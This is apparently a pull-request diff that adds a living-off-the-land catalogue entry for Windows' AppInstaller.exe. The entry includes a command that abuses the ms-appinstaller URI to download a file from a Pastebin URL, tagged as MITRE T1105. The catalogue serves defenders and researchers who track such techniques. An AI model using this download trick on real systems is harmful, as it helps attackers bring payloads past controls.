Merge pull request #110 from whickey-r7/patch-2

Create AppInstaller.yml

yml/OSBinaries/AppInstaller.yml

@@ -0,0 +1,22 @@
+---
+Name: AppInstaller.exe
+Description: Tool used for installation of AppX/MSIX applications on Windows 10
+Author: 'Wade Hickey'
+Created: '2020-12-02'
+Commands:
+  - Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw
+    Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY> 
+    Usecase: Download file from Internet
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows 10
+Full_Path:
+  - Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
+Resources:
+  - Link: https://twitter.com/notwhickey/status/1333900137232523264
+Acknowledgement:
+  - Person: Wade Hickey
+    Handle: '@notwhickey'
+---